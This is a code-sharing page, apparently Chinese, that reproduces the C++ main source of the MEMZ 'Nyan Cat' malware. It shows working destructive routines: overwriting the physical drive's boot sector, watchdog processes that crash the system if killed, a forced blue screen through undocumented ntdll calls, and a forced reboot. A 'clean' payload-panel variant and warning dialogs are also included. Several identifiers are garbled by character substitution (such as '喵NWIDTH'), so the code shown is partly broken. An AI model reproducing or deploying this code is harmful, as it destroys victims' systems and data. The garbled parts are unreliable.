vc++硬核还原彩虹猫电脑病毒

[c++]代码库
#include "memz.h"
 
int scrw, scrh;
 
#ifdef CLEAN
HWND mainWindow; // In the main window, in the main window, in the main window, ...
HFONT font;
HWND dialog;
#endif
 
void main() {
    scrw = GetSystemMetrics(SM_CXSCREEN);
    scrh = GetSystemMetrics(SM_CYSCREEN);
 
#ifndef CLEAN
    int argc;
    LPWSTR *argv = CommandLineToArgvW(GetCommandLineW(), &argc);
 
    if (argc > 1) {
        if (!lstrcmpW(argv[1], L"/watchdog")) {
            CreateThread(NULL, NULL, &watchdogThread, NULL, NULL, NULL);
 
            WNDCLASSEXA c;
            c.cbSize = sizeof(WNDCLASSEXA);
            c.lpfnWndProc = WindowProc;
            c.lpszClassName = "hax";
            c.style = 0;
            c.cbClsExtra = 0;
            c.cbWndExtra = 0;
            c.hInstance = NULL;
            c.hIcon = 0;
            c.hCursor = 0;
            c.hbrBackground = 0;
            c.lpszMenuName = NULL;
            c.hIconSm = 0;
 
            RegisterClassExA(&c);
 
            HWND hwnd = CreateWindowExA(0, "hax", NULL, NULL, 0, 0, 100, 100, NULL, NULL, NULL, NULL);
 
            MSG msg;
            while (GetMessage(&msg, NULL, 0, 0) > 0) {
                TranslateMessage(&msg);
                DispatchMessage(&msg);
            }
        }
    } else {
        // Another very ugly formatting
        if (MessageBoxA(NULL, "The software you just executed is considered malware.\r\n\
This malware will harm your computer and makes it unusable.\r\n\
If you are seeing this message without knowing what you just executed, simply press No and nothing will happen.\r\n\
If you know what this malware does and are using a safe environment to test, \
press Yes to start it.\r\n\r\n\
DO YOU WANT TO EXECUTE THIS MALWARE, RESULTING IN AN UNUSABLE MACHINE?", "MEMZ", MB_YESNO | MB_ICONWARNING) != IDYES ||
MessageBoxA(NULL, "THIS IS THE LAST WARNING!\r\n\r\n\
THE CREATOR IS NOT RESPONSIBLE FOR ANY DAMAGE MADE USING THIS MALWARE!\r\n\
STILL EXECUTE IT?", "MEMZ", MB_YESNO | MB_ICONWARNING) != IDYES) {
            ExitProcess(0);
        }
 
        wchar_t *fn = (wchar_t *)LocalAlloc(LMEM_ZEROINIT, 8192*2);
        GetModuleFileName(NULL, fn, 8192);
 
        for (int i = 0; i < 5; i++)
            ShellExecute(NULL, NULL, fn, L"/watchdog", NULL, SW_SHOWDEFAULT);
 
        SHELLEXECUTEINFO info;
        info.cbSize = sizeof(SHELLEXECUTEINFO);
        info.lpFile = fn;
        info.lpParameters = L"/main";
        info.fMask = SEE_MASK_NOCLOSEPROCESS;
        info.hwnd = NULL;
        info.lpVerb = NULL;
        info.lpDirectory = NULL;
        info.hInstApp = NULL;
        info.nShow = SW_SHOWDEFAULT;
 
        ShellExecuteEx(&info);
 
        SetPriorityClass(info.hProcess, HIGH_PRIORITY_CLASS);
 
        ExitProcess(0);
    }
 
    HANDLE drive = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
 
    if (drive == INVALID_HANDLE_VALUE)
        ExitProcess(2);
 
    unsigned char *bootcode = (unsigned char *)LocalAlloc(LMEM_ZEROINIT, 65536);
 
    // Join the two code parts together
    int i = 0;
    for (; i < code1_len; i++)
        *(bootcode + i) = *(code1 + i);
    for (i = 0; i < code2_len; i++)
        *(bootcode + i + 0x1fe) = *(code2 + i);
 
    DWORD wb;
    if (!WriteFile(drive, bootcode, 65536, &wb, NULL))
        ExitProcess(3);
 
    CloseHandle(drive);
 
    HANDLE note = CreateFileA("\\note.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
 
    if (note == INVALID_HANDLE_VALUE)
        ExitProcess(4);
 
    if (!WriteFile(note, msg, msg_len, &wb, NULL))
        ExitProcess(5);
 
    CloseHandle(note);
    ShellExecuteA(NULL, NULL, "notepad", "\\note.txt", NULL, SW_SHOWDEFAULT);
 
    for (int p = 0; p < nPayloads; p++) {
        Sleep(payloads[p].delay);
        CreateThread(NULL, NULL, &payloadThread, &payloads[p], NULL, NULL);
    }
 
    for (;;) {
        Sleep(10000);
    }
 
#else // CLEAN
    InitCommonControls();
 
    dialog = NULL;
 
    LOGFONT lf;
    GetObject(GetStockObject(DEFAULT_GUI_FONT), sizeof(LOGFONT), &lf);
    font = CreateFont(lf.lfHeight, lf.lfWidth,
        lf.lfEscapement, lf.lfOrientation, lf.lfWeight,
        lf.lfItalic, lf.lfUnderline, lf.lfStrikeOut, lf.lfCharSet,
        lf.lfOutPrecision, lf.lfClipPrecision, lf.lfQuality,
        lf.lfPitchAndFamily, lf.lfFaceName);
 
    WNDCLASSEX c;
    c.cbSize = sizeof(WNDCLASSEX);
    c.lpfnWndProc = WindowProc;
    c.lpszClassName = L"MEMZPanel";
    c.style = CS_HREDRAW | CS_VREDRAW;
    c.cbClsExtra = 0;
    c.cbWndExtra = 0;
    c.hInstance = NULL;
    c.hIcon = 0;
    c.hCursor = 0;
    c.hbrBackground = (HBRUSH)(COLOR_3DFACE+1);
    c.lpszMenuName = NULL;
    c.hIconSm = 0;
 
    RegisterClassEx(&c);
 
    RECT rect;
    rect.left = 0;
    rect.right = WINDOWWIDTH;
    rect.top = 0;
    rect.bottom = WINDOWHEIGHT;
 
    AdjustWindowRect(&rect, WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX, FALSE);
 
    mainWindow = CreateWindowEx(0, L"MEMZPanel", L"MEMZ Clean Version - Payload Panel", WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX,
        50, 50, rect.right-rect.left, rect.bottom-rect.top, NULL, NULL, GetModuleHandle(NULL), NULL);
 
    for (int p = 0; p < nPayloads; p++) {
        payloads[p].btn = CreateWindowW(L"BUTTON", payloads[p].name, (p==0?WS_GROUP:0) | WS_VISIBLE | WS_CHILD | WS_TABSTOP | BS_PUSHLIKE | BS_AUTOCHECKBOX | BS_NOTIFY,
            (p%COLUMNS)*喵NWIDTH+SPACE*(p%COLUMNS+1), (p/COLUMNS)*喵NHEIGHT + SPACE*(p/COLUMNS+1), 喵NWIDTH, 喵NHEIGHT,
            mainWindow, NULL, (HINSTANCE)GetWindowLong(mainWindow, GWL_HINSTANCE), NULL);
        SendMessage(payloads[p].btn, WM_SETFONT, (WPARAM)font, TRUE);
 
        CreateThread(NULL, NULL, &payloadThread, &payloads[p], NULL, NULL);
    }
 
    SendMessage(mainWindow, WM_SETFONT, (WPARAM)font, TRUE);
 
    ShowWindow(mainWindow, SW_SHOW);
    UpdateWindow(mainWindow);
     
    CreateThread(NULL, NULL, &keyboardThread, NULL, NULL, NULL);
 
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0) > 0) {
        if (dialog == NULL || !IsDialogMessage(dialog, &msg)) {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }
#endif
}
 
#ifndef CLEAN
LRESULT CALLBACK WindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
    if (msg == WM_CLOSE || msg == WM_ENDSESSION) {
        killWindows();
        return 0;
    }
 
    return DefWindowProc(hwnd, msg, wParam, lParam);
}
 
DWORD WINAPI watchdogThread(LPVOID parameter) {
    int oproc = 0;
 
    char *fn = (char *)LocalAlloc(LMEM_ZEROINIT, 512);
    GetProcessImageFileNameA(GetCurrentProcess(), fn, 512);
 
    Sleep(1000);
 
    for (;;) {
        HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
        PROCESSENTRY32 proc;
        proc.dwSize = sizeof(proc);
 
        Process32First(snapshot, &proc);
 
        int nproc = 0;
        do {
            HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, proc.th32ProcessID);
            char *fn2 = (char *)LocalAlloc(LMEM_ZEROINIT, 512);
            GetProcessImageFileNameA(hProc, fn2, 512);
 
            if (!lstrcmpA(fn, fn2)) {
                nproc++;
            }
 
            CloseHandle(hProc);
            LocalFree(fn2);
        } while (Process32Next(snapshot, &proc));
 
        CloseHandle(snapshot);
 
        if (nproc < oproc) {
            killWindows();
        }
 
        oproc = nproc;
 
        Sleep(10);
    }
}
 
void killWindows() {
    // Show cool MessageBoxes
    for (int i = 0; i < 20; i++) {
        CreateThread(NULL, 4096, &ripMessageThread, NULL, NULL, NULL);
        Sleep(100);
    }
 
    killWindowsInstant();
}
 
void killWindowsInstant() {
    // Try to force BSOD first
    // I like how this method even works in user mode without admin privileges on all Windows versions since XP (or 2000, idk)...
    // This isn't even an exploit, it's just an undocumented feature.
    HMODULE ntdll = LoadLibraryA("ntdll");
    FARPROC RtlAdjustPrivilege = GetProcAddress(ntdll, "RtlAdjustPrivilege");
    FARPROC NtRaiseHardError = GetProcAddress(ntdll, "NtRaiseHardError");
 
    if (RtlAdjustPrivilege != NULL && NtRaiseHardError != NULL) {
        BOOLEAN tmp1; DWORD tmp2;
        ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(19, 1, 0, &tmp1);
        ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc0000022, 0, 0, 0, 6, &tmp2);
    }
 
    // If the computer is still running, do it the normal way
    HANDLE token;
    TOKEN_PRIVILEGES privileges;
 
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token);
 
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &privileges.Privileges[0].Luid);
    privileges.PrivilegeCount = 1;
    privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 
    AdjustTokenPrivileges(token, FALSE, &privileges, 0, (PTOKEN_PRIVILEGES)NULL, 0);
 
    // The actual restart
    ExitWindowsEx(EWX_REBOOT | EWX_FORCE, SHTDN_REASON_MAJOR_HARDWARE | SHTDN_REASON_MINOR_DISK);
}
 
DWORD WINAPI ripMessageThread(LPVOID parameter) {
    HHOOK hook = SetWindowsHookEx(WH_C喵, msgBoxHook, 0, GetCurrentThreadId());
    MessageBoxA(NULL, (LPCSTR)msgs[random() % nMsgs], "MEMZ", MB_OK | MB_SYSTEMMODAL | MB_ICONHAND);
    UnhookWindowsHookEx(hook);
 
    return 0;
}
#else // CLEAN
LRESULT CALLBACK WindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
    PAINTSTRUCT ps;
    HDC hdc;
     
    if (msg == WM_ACTIVATE) {
        if (wParam == NULL)
            dialog = NULL;
        else
            dialog = hwnd;
    } else if (msg == WM_DESTROY) {
        ExitProcess(0);
    } else if (msg == WM_COMMAND) {
        if (wParam == BN_CLICKED && SendMessage((HWND)lParam, BM_GETCHECK, 0, NULL) == BST_CHECKED) {
            for (int p = 0; p < nPayloads; p++) {
                if (payloads[p].btn == (HWND)lParam && !payloads[p].safe) {
                    SendMessage((HWND)lParam, BM_SETCHECK, BST_UNCHECKED, NULL);
                    // Most ugly formatting EVER
                    if (MessageBoxA(hwnd,
                        "This payload is considered semi-harmful.\r\nThis means, it should be safe to use, but can still cause data loss or other things you might not want.\r\n\r\n\
If you have productive data on your system or signed in to online accounts, it is recommended to run this payload inside a \
virtual machine in order to prevent potential data loss or changed things you might not want.\r\n\r\n\
Do you still want to enable it?",
"MEMZ", MB_YESNO | MB_ICONWARNING) == IDYES) {
                        SendMessage((HWND)lParam, BM_SETCHECK, BST_CHECKED, NULL);
                    }
                }
            }
        }
    } else if (msg == WM_PAINT) {
        hdc = BeginPaint(hwnd, &ps);
        SelectObject(hdc, font);
        LPWSTR str;
        LPWSTR state = enablePayloads ? L"ENABLED" : L"DISABLED";
        FormatMessage(FORMAT_MESSAGE_FROM_STRING | FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_ARGUMENT_ARRAY,
            L"Payloads are currently %1. Press SHIFT+ESC to toggle all payloads!", 0, 0, (LPWSTR)&str, 1024, (va_list*)&state);
 
        TextOut(hdc, 10, WINDOWHEIGHT - 36, str, lstrlen(str));
        TextOut(hdc, 10, WINDOWHEIGHT - 20, L"Press CTRL+SHIFT+S to skip some time (makes some payloads faster)", 65);
 
        EndPaint(hwnd, &ps);
    } else {
        return DefWindowProc(hwnd, msg, wParam, lParam);
    }
 
    return 0;
}
 
DWORD WINAPI keyboardThread(LPVOID lParam) {
    for (;;) {
        if ((GetKeyState(VK_SHIFT) & GetKeyState(VK_ESCAPE)) & 0x8000) {
            enablePayloads = !enablePayloads;
 
            if (!enablePayloads) {
                RECT rect;
                HWND desktop = GetDesktopWindow();
                GetWindowRect(desktop, &rect);
 
                RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
 
                EnumWindows(&CleanWindowsProc, NULL);
            } else {
                RedrawWindow(mainWindow, NULL, NULL, RDW_INVALIDATE | RDW_ERASE);
            }
 
            while ((GetKeyState(VK_SHIFT) & GetKeyState(VK_ESCAPE)) & 0x8000) {
                Sleep(100);
            }
        } else if ((GetKeyState(VK_SHIFT) & GetKeyState(VK_CONTROL) & GetKeyState('S')) & 0x8000) {
            if (enablePayloads) {
                for (int p = 0; p < nPayloads; p++) {
                    if (SendMessage(payloads[p].btn, BM_GETCHECK, 0, NULL) == BST_CHECKED) {
                        payloads[p].delay = payloads[p].payloadFunction(payloads[p].times++, payloads[p].runtime += payloads[p].delay, TRUE);
                    }
                }
            }
        }
 
        Sleep(10);
    }
 
    return 0;
}
 
BOOL CALLBACK CleanWindowsProc(HWND hwnd, LPARAM lParam) {
    DWORD pid;
    if (GetWindowThreadProcessId(hwnd, &pid) && pid == GetCurrentProcessId() && hwnd != mainWindow) {
        SendMessage(hwnd, WM_CLOSE, 0, 0);
    }
    return TRUE;
}
#endif
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